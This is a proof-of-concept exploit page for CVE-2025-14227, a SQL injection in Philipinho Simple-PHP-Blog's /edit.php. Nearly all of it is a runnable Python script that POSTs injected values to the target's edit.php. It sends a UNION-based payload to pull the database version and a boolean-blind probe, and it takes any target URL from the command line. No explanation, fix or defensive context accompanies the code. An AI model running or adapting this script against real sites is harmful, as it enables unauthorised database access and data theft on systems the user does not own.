CVE-2025-14227: Philipinho Simple-PHP-Blog /edit.php SQL注入漏洞

import requests import sys # CVE-2025-14227 PoC - SQL Injection in Philipinho Simple-PHP-Blog /edit.php # Target: Simple-PHP-Blog <= 94b5d3e57308bce5dfbc44c3edafa9811893d958 def exploit_sqli(target_url, post_id, payload): """ Exploit SQL injection vulnerability in edit.php Args: target_url: Base URL of the vulnerable application post_id: ID of the post to edit payload: SQL injection payload Returns: Server response """ endpoint = f"{target_url}/edit.php" # Prepare the malicious request data = { 'id': post_id, 'title': 'test', 'content': payload # SQL injection payload in content field } try: response = requests.post(endpoint, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def union_based_sqli(target_url, post_id): """ Example: Union-based SQL injection to extract database version """ # Payload to extract database version via union injection payload = "' UNION SELECT 1,2,@@version,4,5-- -" return exploit_sqli(target_url, post_id, payload) def blind_sqli(target_url, post_id): """ Example: Boolean-based blind SQL injection """ # Payload to test for blind SQL injection payload = "' AND 1=1-- -" return exploit_sqli(target_url, post_id, payload) if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-14227-poc.py <target_url> <post_id>") print("Example: python cve-2025-14227-poc.py http://localhost/simple-php-blog 1") sys.exit(1) target = sys.argv[1] post_id = sys.argv[2] print(f"[*] Testing CVE-2025-14227 on {target}") print(f"[*] Target post ID: {post_id}") # Test blind SQL injection print("\n[*] Testing boolean-based blind SQL injection...") result = blind_sqli(target, post_id) print(f"[+] Response length: {len(result)}") # Test union-based SQL injection print("\n[*] Testing union-based SQL injection...") result = union_based_sqli(target, post_id) print(f"[+] Response: {result[:500]}...")